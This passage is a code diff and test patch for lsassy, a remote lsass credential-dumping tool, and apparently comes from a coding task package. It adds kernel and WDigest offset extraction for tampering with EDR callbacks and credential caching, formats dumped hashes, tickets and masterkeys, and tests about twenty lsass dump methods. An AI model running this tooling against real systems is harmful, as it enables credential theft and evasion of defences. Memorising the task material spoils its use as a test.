-            "ntoskrnl_19041-928.exe": ["cec520", "cec320", "cec120", "87a", "c19950", "20", "60"],
-            "ntoskrnl_19041-964.exe": ["cec0e0", "cebee0", "cec2e0", "87a", "c19d38", "20", "60"],
-            "ntoskrnl_19041-985.exe": ["cec360", "cec160", "cebf60", "87a", "c19d78", "20", "60"],
-            "ntoskrnl_22000-194.exe": ["cf5f40", "cf5d40", "cf6140", "87a", "c15d20", "20", "60"],
-            "ntoskrnl_22000-258.exe": ["cf5f40", "cf5d40", "cf6140", "87a", "c15d20", "20", "60"],
-            "ntoskrnl_22000-282.exe": ["cf5f00", "cf5d00", "cf6100", "87a", "c163d0", "20", "60"],
-            "ntoskrnl_19041-1387.exe": ["cec1a0", "cec3a0", "cebfa0", "87a", "c197a0", "20", "60"],
-            "ntoskrnl_22000-318.exe": ["cf5f00", "cf5d00", "cf6100", "87a", "c163d0", "20", "60"],
-            "ntoskrnl_22000-348.exe": ["cf5e00", "cf6200", "cf6000", "87a", "c15d40", "20", "60"],
-            "ntoskrnl_14393-4770.exe": ["339e60", "339c60", "339a60", "6ca", "0", "20", "50"],
-            "ntoskrnl_19041-1348.exe": ["cec4e0", "cec2e0", "cec0e0", "87a", "c197c0", "20", "60"]
-        }
+        lsassy_logger.debug(f'[!] ERROR : failed to extract version from {path}.')
+        raise RuntimeError("get_file_version error")
+
+    def extractOffsets(self, input_file, mode):
+        output_result = ""
         try:
+            # check image type (ntoskrnl, wdigest, etc.)
+            r = self.run(["r2", "-c", "iE", "-qq", input_file], capture_output=True)
+            for line in r.stdout.decode().splitlines():
+                if "ntoskrnl.exe" in line:
+                    imageType = "ntoskrnl"
+                    break
+                elif "wdigest.dll" in line:
+                    imageType = "wdigest"
+                    break
+            else:
+                lsassy_logger.debug(f"[*] File {input_file} unrecognized")
+                return
+
+            # todo : remove this and make a unique function
+            if mode != imageType:
+                lsassy_logger.debug(f"[*] Skipping {input_file} since we are in {mode} mode")
+                return
+            if os.path.sep not in input_file:
+                input_file = "." + os.path.sep + input_file
             full_version = self.get_file_version(input_file)
-            if not full_version:
-                lsassy_logger.error(f'[!] ERROR : failed to extract version from {input_file}.')
-                return None
 
             # Checks if the image version is already present in the CSV
-            imageVersion = f'ntoskrnl_{full_version[2]}-{full_version[3]}.exe'
+            extension = extensions_by_mode[imageType]
+            imageVersion = f'{imageType}_{full_version[2]}-{full_version[3]}.{extension}'
 
-            if imageVersion in known_offsets:
-                return f'{imageVersion},{",".join(known_offsets[imageVersion])}\n'
+            if imageVersion in knownImageVersions[imageType]:
+                lsassy_logger.debug(f'[*] Skipping known {imageType} version {imageVersion} (file: {input_file})')
+                return
 
+            lsassy_logger.debug(f'[*] Processing {imageType} version {imageVersion} (file: {input_file})')
             # download the PDB if needed
-            self.run(["r2", "-c", "idpd", "-qq", input_file], capture_output=True)
+            r = self.run(["r2", "-c", "idpd", "-qq", input_file], capture_output=True)
+            # dump all symbols
             r = self.run(["r2", "-c", "idpi", "-qq", '-B', '0', input_file], capture_output=True)
             all_symbols_info = [line.strip() for line in r.stdout.decode().splitlines()]
-            symbols = [("PspCreateProcessNotifyRoutine", self.get_symbol_offset),
-                       ("PspCreateThreadNotifyRoutine", self.get_symbol_offset),
-                       ("PspLoadImageNotifyRoutine", self.get_symbol_offset),
-                       ('_PS_PROTECTION Protection', self.get_field_offset),
-                       ("EtwThreatIntProvRegHandle", self.get_symbol_offset),
-                       ('_ETW_GUID_ENTRY* GuidEntry', self.get_field_offset),
-                       ('_TRACE_ENABLE_INFO ProviderEnableInfo', self.get_field_offset)]
+
+            if imageType == "ntoskrnl":
+                symbols = [("PspCreateProcessNotifyRoutine", self.get_symbol_offset),
+                           ("PspCreateThreadNotifyRoutine", self.get_symbol_offset),
+                           ("PspLoadImageNotifyRoutine", self.get_symbol_offset),
+                           ('_PS_PROTECTION Protection', self.get_field_offset),
+                           ("EtwThreatIntProvRegHandle", self.get_symbol_offset),
+                           ('_ETW_GUID_ENTRY* GuidEntry', self.get_field_offset),
+                           ('_TRACE_ENABLE_INFO ProviderEnableInfo', self.get_field_offset),
+                           ("PsProcessType", self.get_symbol_offset),
+                           ("PsThreadType", self.get_symbol_offset),
+                           ('struct _LIST_ENTRY CallbackList', self.get_field_offset)]
+            elif imageType == "wdigest":
+                symbols = [
+                    ("g_fParameter_UseLogonCredential", self.get_symbol_offset),
+                    ("g_IsCredGuardEnabled", self.get_symbol_offset)
+                ]
+
             symbols_values = list()
             for symbol_name, get_offset in symbols:
                 symbol_value = get_offset(all_symbols_info, symbol_name)
                 symbols_values.append(symbol_value)
-            if "R2_CURL" not in os.environ and all(val == 0 for val in symbols_values):
-                lsassy_logger.warning("Radare2 may have trouble to download PDB files. R2_CURL=1 environement variable has been set. Trying again.")
-                os.environ["R2_CURL"] = "1"
-                self.extractOffsets(input_file)
+                # lsassy_logger.debug(f"[+] {symbol_name} = {hex(symbol_value)}")
 
-            return f'{imageVersion},{",".join(hex(val).replace("0x", "") for val in symbols_values)}\n'
-        except Exception as e:
-            return None
+            output_result += f'{imageVersion},{",".join(hex(val).replace("0x", "") for val in symbols_values)}\n'
 
-    def get_offsets(self, ntoskrnl_path):
-        try:
-            output = self.run(["r2", "-v"], capture_output=True).stdout.decode()
-        except Exception as e:
-            if "No such file or directory" in str(e):
-                lsassy_logger.warning("'r2' command is not in path. Automatic offsets extraction is not possible.")
-            else:
-                lsassy_logger.warning("Unexpected error while running Radare2")
-            return None
-        ma, me, mi = map(int, output.splitlines()[0].split(" ")[1].split("."))
-        if (ma, me, mi) < (5, 0, 0):
-            lsassy_logger.error("This feature has been tested with radare2 5.0.0 (works) and 4.3.1 (does NOT work)")
-            return None
+            knownImageVersions[imageType].append(imageVersion)
 
-        try:
-            self.run(["cabextract", "-v"], check=True, capture_output=True)
-        except (subprocess.CalledProcessError, FileNotFoundError):
-            lsassy_logger.error("Radare2 needs 'cabextract' package to be installed to work with PDB")
-            return None
-        
-        output_content = 'ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n'
+            lsassy_logger.debug(f'[+] Finished processing of {imageType} {input_file}!')
+            lsassy_logger.debug(output_result)
+            return output_result
 
-        ret = self.extractOffsets(ntoskrnl_path)
-        return ret if not ret else output_content + ret
+        except Exception as e:
+            lsassy_logger.debug(f'[!] ERROR : Could not process file {input_file}.')
+            lsassy_logger.debug(f'[!] Error message: {e}')
+            lsassy_logger.debug(f'[!] If error is of the like of "\'NoneType\' object has no attribute \'group\'", kernel callbacks may not be supported by this version.')
+            return None
\ No newline at end of file
diff --git a/lsassy/exec/mmc.py b/lsassy/exec/mmc.py
index da5a296..7ce46bf 100644
--- a/lsassy/exec/mmc.py
+++ b/lsassy/exec/mmc.py
@@ -173,3 +173,4 @@ def exec(self, command):
         dispParams['rgvarg'].append(arg1)
         dispParams['rgvarg'].append(arg0)
         self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+        return True
diff --git a/lsassy/impacketfile.py b/lsassy/impacketfile.py
index 3e141c1..a63f218 100644
--- a/lsassy/impacketfile.py
+++ b/lsassy/impacketfile.py
@@ -53,7 +53,8 @@ def _open_share(self):
             return None
         return self
 
-    def create_file(self, session, share, path, file, content):
+    @staticmethod
+    def create_file(session, share, path, file, content):
         
 
         path = path.replace("\\", "/")
diff --git a/lsassy/output/pretty_output.py b/lsassy/output/pretty_output.py
index 7914214..6c19ab6 100644
--- a/lsassy/output/pretty_output.py
+++ b/lsassy/output/pretty_output.py
@@ -6,34 +6,125 @@ class Output(IOutput):
     """
     Return output in pretty colorful format
     """
-    def get_output(self):
+
+    def get_output(self) -> str:
+        """
+        Retrieve and format the credentials information in a readable and aligned manner.
+
+        Returns:
+            str: A string representing the formatted output containing the credentials information.
+                If no credentials are found, it returns a message indicating so.
+        """
+        # Step 1: Initialize an empty list to store the final output.
         output = []
-        if len(self._credentials) == 0:
-            return "No credentials found"
-        else:
-            max_size = max(len(c["domain"]) + len(c["username"]) for c in self._credentials)
-            credentials = []
-            for cred in self._credentials:
-                cred_type = "PWD"
-                if cred["password"] is None:
-                    if cred["ticket"] is not None:
-                        cred["password"] = "Domain: {} - End time: {} ({})".format(cred["ticket"]["domain"], cred["ticket"]["endtime"].strftime("%Y-%m-%d %H:%M"), cred['ticket']['file'])
-                        cred_type = "TGT"
-                    elif cred["masterkey"] is not None:
-                        cred["password"] = "{}".format(cred["masterkey"])
-                        cred_type = "DPAPI Masterkey"
-                    else:
-                        cred["password"] = ':'.join(h for h in [cred["lmhash"], cred["nthash"]] if h is not None)
-                        cred_type = "NT"
-                if [cred["domain"], cred["username"], cred["password"]] not in credentials:
-                    credentials.append([cred["domain"], cred["username"], cred["password"]])
-                    output.append(
-                        "{}{}{}{}{}{}".format(
-                            ('{}\\'.format(cred["domain"]) if cred["domain"] is not None and cred["domain"] != "" else " "),
-                            cred["username"],
-                            " " * (max_size - len(cred["domain"]) - len(cred["username"]) + 2),
-                            lsassy_logger.lsassy_highlight("[{}] ".format(cred_type)),
-                            lsassy_logger.lsassy_highlight(cred["password"]),
-                            " | {}".format(lsassy_logger.lsassy_highlight("[{}] {}".format("SHA1", cred["sha1"]))) if cred["sha1"] else "")
-                    )
+
+        # Step 2: Check if credentials are available.
+        if not self._credentials or len(self._credentials) == 0:
+            return "No credentials found."
+
+        # Step 3: Calculate the maximum size for padding.
+        # This ensures proper alignment in the output.
+        max_size = max(
+            len(c.get("domain") or "") + len(c.get("username") or "")
+            for c in self._credentials
+            if c is not None
+        )
+
+        # Step 4: Initialize a list to store unique credentials.
+        credentials = []
+
+        # Step 5: Iterate over each credential and format the output.
+        for cred in self._credentials:
+            if cred is None:
+                continue
+
+            # Step 5.1: Determine the credential type (e.g., PWD, TGT, etc.).
+            cred_type, password = self._determine_cred_type_and_password(cred)
+
+            # Step 5.2: Check for uniqueness and append to credentials list.
+            if [
+                cred.get("domain"),
+                cred.get("username"),
+                password,
+            ] not in credentials:
+                credentials.append([cred.get("domain"), cred.get("username"), password])
+
+                # Step 5.3: Format the output line and append to the output list.
+                output_line = self._format_output_line(
+                    cred, cred_type, password, max_size
+                )
+                output.append(output_line)
+
+        # Step 6: Join and return the final output.
         return "\n".join(output)
+
+    def _determine_cred_type_and_password(self, cred: dict) -> tuple[str, str]:
+        """
+        Determine the credential type and password based on the information provided.
+
+        Args:
+            cred (dict): A dictionary containing credential information such as password, ticket, masterkey, etc.
+
+        Returns:
+            tuple[str, str]: A tuple containing two strings: the credential type (e.g., "PWD", "TGT", "DPAPI Masterkey", "NT") and the corresponding password or credential data.
+        """
+        cred_type = "PWD"
+        password = cred.get("password")
+
+        if password is None:
+            if cred.get("ticket") is not None:
+                password = "Domain: {} - End time: {} ({})".format(
+                    cred["ticket"]["domain"],
+                    cred["ticket"]["endtime"].strftime("%Y-%m-%d %H:%M"),
+                    cred["ticket"]["file"],
+                )
+                cred_type = "TGT"
+            elif cred.get("masterkey") is not None:
+                password = "{}".format(cred["masterkey"])
+                cred_type = "DPAPI Masterkey"
+            else:
+                password = ":".join(
+                    h for h in [cred.get("lmhash"), cred.get("nthash")] if h is not None
+                )
+                cred_type = "NT"
+
+        return cred_type, password
+
+    def _format_output_line(
+        self, cred: dict, cred_type: str, password: str, max_size: int
+    ) -> str:
+        """
+        Format a single line of output with proper padding and highlighting.
+
+        Args:
+            cred (dict): A dictionary containing credential information such as domain, username, password, etc.
+            cred_type (str): A string indicating the type of credential (e.g., "PWD", "TGT", "DPAPI Masterkey", "NT").
+            password (str): A string representing the password or relevant credential data.
+            max_size (int): An integer representing the maximum length required for padding to align the output.
+
+        Returns:
+            str: A formatted string representing a single line of the output.
+        """
+        domain = "{}\\".format(cred.get("domain")) if cred.get("domain") else " "
+        username = cred.get("username") or ""
+        padding = " " * (max_size - len(domain) - len(username) + 2)
+        sha1_info = (
+            " | {}".format(
+                lsassy_logger.lsassy_highlight(
+                    "[{}] {}".format("SHA1", cred.get("sha1"))
+                )
+            )
+            if cred.get("sha1")
+            else ""
+        )
+
+        output_line = "{}{}{}{}{}{}".format(
+            domain,
+            username,
+            padding,
+            lsassy_logger.lsassy_highlight("[{}] ".format(cred_type)),
+            lsassy_logger.lsassy_highlight(password),
+            sha1_info,
+        )
+
+        return output_line
diff --git a/lsassy/parser.py b/lsassy/parser.py
index e011c31..fff6904 100644
--- a/lsassy/parser.py
+++ b/lsassy/parser.py
@@ -82,7 +82,8 @@ def parse(self):
                             ssp="kerberos",
                             domain=ticket.DomainName,
                             username=ticket.EClientName[0],
-                            ticket={'file': list(ticket.kirbi_data)[0], 'domain': target_domain, 'endtime': ticket.EndTime}
+                            ticket={'file': list(ticket.kirbi_data)[0].split(".kirbi")[0] + '_' + ticket.EndTime.strftime('%Y%m%d%H%M%S') + ".kirbi", 'domain': target_domain, 'endtime': ticket.EndTime}
                         ))
+                        
 
         return credentials, tickets, masterkeys
diff --git a/lsassy/writer.py b/lsassy/writer.py
index fbe94b1..f2f0e4e 100644
--- a/lsassy/writer.py
+++ b/lsassy/writer.py
@@ -67,9 +67,21 @@ def write(self, file_format, out_format="pretty", output_file=None, quiet=False,
                 f.write(file_content + "\n")
             print("Credentials saved to {}".format(output_file))
 
-        self.write_tickets(kerberos_dir, quiet)
-        self.write_masterkeys(masterkeys_file, quiet)
-
+        if os.name == 'nt':
+            output_dir = '%LocalAppData%\\lsassy'
+        else:
+            output_dir = os.path.expanduser('~') + '/.config/lsassy'
+
+        if not os.path.exists(output_dir):
+            try:
+                os.makedirs(output_dir)
+                self.write_tickets(kerberos_dir, quiet)
+                self.write_masterkeys(masterkeys_file, quiet)
+            except Exception:
+                return output
+        else:
+            self.write_tickets(kerberos_dir, quiet)
+            self.write_masterkeys(masterkeys_file, quiet)
         return output
 
     def write_tickets(self, kerberos_dir=None, quiet=False):
@@ -97,7 +109,10 @@ def write_tickets(self, kerberos_dir=None, quiet=False):
                     lsassy_logger.warning("Cannot create %s for saving kerberos tickets" % abs_dir, exc_info=True)
                     return True
             for ticket in self._tickets:
-                ticket.to_kirbi(abs_dir)
+                for filename in ticket.kirbi_data:
+                    # Trick to add expiration date in ticket filename "YEAR MONTH DAY HOUR MINUTE SECOND"
+                    with open(os.path.join(abs_dir, filename.split(".kirbi")[0] + '_' + ticket.EndTime.strftime('%Y%m%d%H%M%S') + ".kirbi"), 'wb') as f:
+                        f.write(ticket.kirbi_data[filename].dump())
             if not quiet:
                 if len(self._tickets) > 1:
                     print("%s Kerberos tickets written to %s" % (len(self._tickets),abs_dir))
diff --git a/pyproject.toml b/pyproject.toml
index c0bb6ec..db23764 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "lsassy"
-version = "3.1.8"
+version = "3.1.9"
 description = "Tool to remotely extract credentials"
 readme = "README.md"
 homepage = "https://github.com/hackndo/lsassy"
diff --git a/setup.py b/setup.py
index 5fda264..ca41793 100644
--- a/setup.py
+++ b/setup.py
@@ -13,7 +13,7 @@
 
 setup(
     name="lsassy",
-    version="3.1.8",
+    version="3.1.9",
     author="Pixis",
     author_email="hackndo@gmail.com",
     description="Python library to extract credentials from lsass remotely",
@@ -44,5 +44,5 @@
             'lsassy = lsassy.console:main',
         ],
     },
-    test_suite='tests.tests'
+    test_suite='tests.test_lsassy'
 )


Test patch:
diff --git a/tests/test_lsassy.py b/tests/test_lsassy.py
index dc5fb7d..3ff02ac 100644
--- a/tests/test_lsassy.py
+++ b/tests/test_lsassy.py
@@ -1,5 +1,225 @@
-from lsassy import __version__
+import unittest
+import logging
+from argparse import Namespace
 
+from lsassy.core import ThreadPool
+from lsassy.dumper import Dumper
+from lsassy.parser import Parser
+from lsassy.session import Session
+from lsassy.writer import Writer
+from lsassy.logger import lsassy_logger
 
-def test_version():
-    assert __version__ == '3.1.8'
+USERNAME = "pixis"
+PASSWORD = 'P4ssw0rd'
+HOSTNAME = "127.0.0.1"
+
+
+class TestCLI(unittest.TestCase):
+    def test_threads(self):
+        MAX_THREADS = 1337
+        args = Namespace(dump_method='comsvcs', dump_path=None, dump_name=None, exec='smb', no_powershell=False,
+                  copy=False, options=None, timeout=10, time_between_commands=1, parse_only=False, dump_only=False,
+                  keep_dump=False, username=USERNAME, password=PASSWORD, domain='RANDOM',
+                  port=445, no_pass=False, hashes=None, kerberos=False, dc_ip=None, aesKey=None, kerberos_dir=None,
+                  masterkeys_file=None, outfile=None, format='pretty', file_format=None, no_color=False, users=False,
+                  no_tickets=False, masterkeys=False, v=2, threads=MAX_THREADS, quiet=False, target=[HOSTNAME])
+        l = ThreadPool("HACKNDO", args)
+        self.assertEqual(l.max_threads, MAX_THREADS, "Max threads not taken into account")
+
+
+class TestDumper(unittest.TestCase):
+
+    def test_list_dump_methods(self):
+        self.assertEqual(Dumper.list_dump_methods(), [
+            'comsvcs',
+            'comsvcs_stealth',
+            'dllinject',
+            'dumpert',
+            'dumpertdll',
+            'edrsandblast',
+            'mirrordump',
+            'mirrordump_embedded',
+            'nanodump',
+            'nanodump_ssp_embedded',
+            'ppldump',
+            'ppldump_embedded',
+            'procdump',
+            'procdump_embedded',
+            'rawrpc',
+            'rawrpc_embedded',
+            'rdrleakdiag',
+            'silentprocessexit',
+            'sqldumper',
+            'wer'
+        ], "Error in list_dump_methods")
+
+    def test_load(self):
+        dumper = Dumper(None, 0, 0)
+        for dump_method in Dumper.list_dump_methods():
+            self.assertIsNotNone(dumper.load(dump_method))
+
+    def test_dump_method_get_commands(self):
+        dumper = Dumper(None, 0, 0)
+        for dump_method in Dumper.list_dump_methods():
+            try:
+                dumper.load(dump_method).get_commands()
+            except NotImplemented:
+                self.fail("get_commands() raised NotImplemented for {}".format(dump_method))
+
+
+class TestWorkflow(unittest.TestCase):
+    def test_workflow(self):
+        session = Session()
+        session.get_session(
+            address=HOSTNAME,
+            target_ip=HOSTNAME,
+            port=445,
+            username=USERNAME,
+            password=PASSWORD
+        )
+        self.assertIsNotNone(session.smb_session)
+
+        dumper = Dumper(session, 5, 1).load("comsvcs")
+        self.assertIsNotNone(dumper)
+
+        file = dumper.dump(exec_methods=["smb"])
+        self.assertIsNotNone(file)
+
+        credentials, tickets, masterkeys = Parser(file).parse()
+        file.close()
+        self.assertTrue(len(credentials) > 0)
+
+        writer = Writer(credentials, tickets, masterkeys)
+        writer.write(file_format="pretty", out_format="pretty")
+
+
+class TestExecMethods(unittest.TestCase):
+
+    def setUp(self) -> None:
+        self.session = Session()
+        self.session.get_session(
+            address=HOSTNAME,
+            target_ip=HOSTNAME,
+            port=445,
+            username=USERNAME,
+            password=PASSWORD
+        )
+        lsassy_logger.setLevel(logging.DEBUG)
+
+    def dump_lsass(self, exec):
+        dumper = Dumper(self.session, 5, 1).load("comsvcs")
+        file = dumper.dump(exec_methods=[exec])
+        self.assertIsNotNone(file)
+        file.close()
+
+    def test_smb(self):
+        self.dump_lsass("smb")
+
+    def test_task(self):
+        self.dump_lsass("task")
+
+    def test_smb_stealth(self):
+        self.dump_lsass("smb_stealth")
+
+    """
+    @TODO To fix
+    
+    def test_mmc(self):
+        self.dump_lsass("mmc")
+    """
+
+    """
+    @TODO To fix
+    
+    def test_wmi(self):
+        self.dump_lsass("wmi")
+    """
+
+
+class TestDumpMethods(unittest.TestCase):
+
+    def setUp(self) -> None:
+        self.session = Session()
+        self.session.get_session(
+            address=HOSTNAME,
+            target_ip=HOSTNAME,
+            port=445,
+            username=USERNAME,
+            password=PASSWORD
+        )
+
+    def dump_lsass(self, method):
+        dumper = Dumper(self.session, 5, 1).load(method)
+        file = dumper.dump(exec_methods=["smb"])
+        self.assertIsNotNone(file)
+        file.close()
+
+    def test_comsvcs(self):
+        self.dump_lsass("comsvcs")
+
+    def test_comsvcs_stealth(self):
+        self.dump_lsass("comsvcs_stealth")
+
+    def test_mirrordump_embedded(self):
+        self.dump_lsass("mirrordump_embedded")
+
+    def test_nanodump_ssp_embedded(self):
+        self.dump_lsass("nanodump_ssp_embedded")
+
+    """
+    def test_ppldump_embedded(self):
+        self.dump_lsass("ppldump_embedded")
+    """
+
+    def test_procdump_embedded(self):
+        self.dump_lsass("procdump_embedded")
+
+    def test_rawrpc_embedded(self):
+        self.dump_lsass("rawrpc_embedded")
+
+    def test_rdrleakdiag(self):
+        self.dump_lsass("rdrleakdiag")
+
+    def test_wer(self):
+        self.dump_lsass("wer")
+
+
+class TestWriter(unittest.TestCase):
+    """
+    Test write output and file
+    """
+
+    def setUp(self) -> None:
+        session = Session()
+        session.get_session(
+            address=HOSTNAME,
+            target_ip=HOSTNAME,
+            port=445,
+            username=USERNAME,
+            password=PASSWORD
+        )
+        self.assertIsNotNone(session.smb_session)
+
+        dumper = Dumper(session, 5, 1).load("comsvcs")
+        self.assertIsNotNone(dumper)
+
+        file = dumper.dump(exec_methods=["smb"])
+        self.assertIsNotNone(file)
+
+        credentials, tickets, masterkeys = Parser(file).parse()
+        file.close()
+        self.assertTrue(len(credentials) > 0)
+
+        self.writer = Writer(credentials, tickets, masterkeys)
+
+    def test_pretty(self):
+        self.assertTrue("[NT]" in self.writer.get_output(out_format="pretty"))
+
+    def test_json(self):
+        self.assertTrue("\"nthash\"" in self.writer.get_output(out_format="json"))
+
+    def test_table(self):
+        self.assertTrue("Username" in self.writer.get_output(out_format="table"))
+
+    def test_grep(self):
+        self.assertTrue("\tNone\t" in self.writer.get_output(out_format="grep"))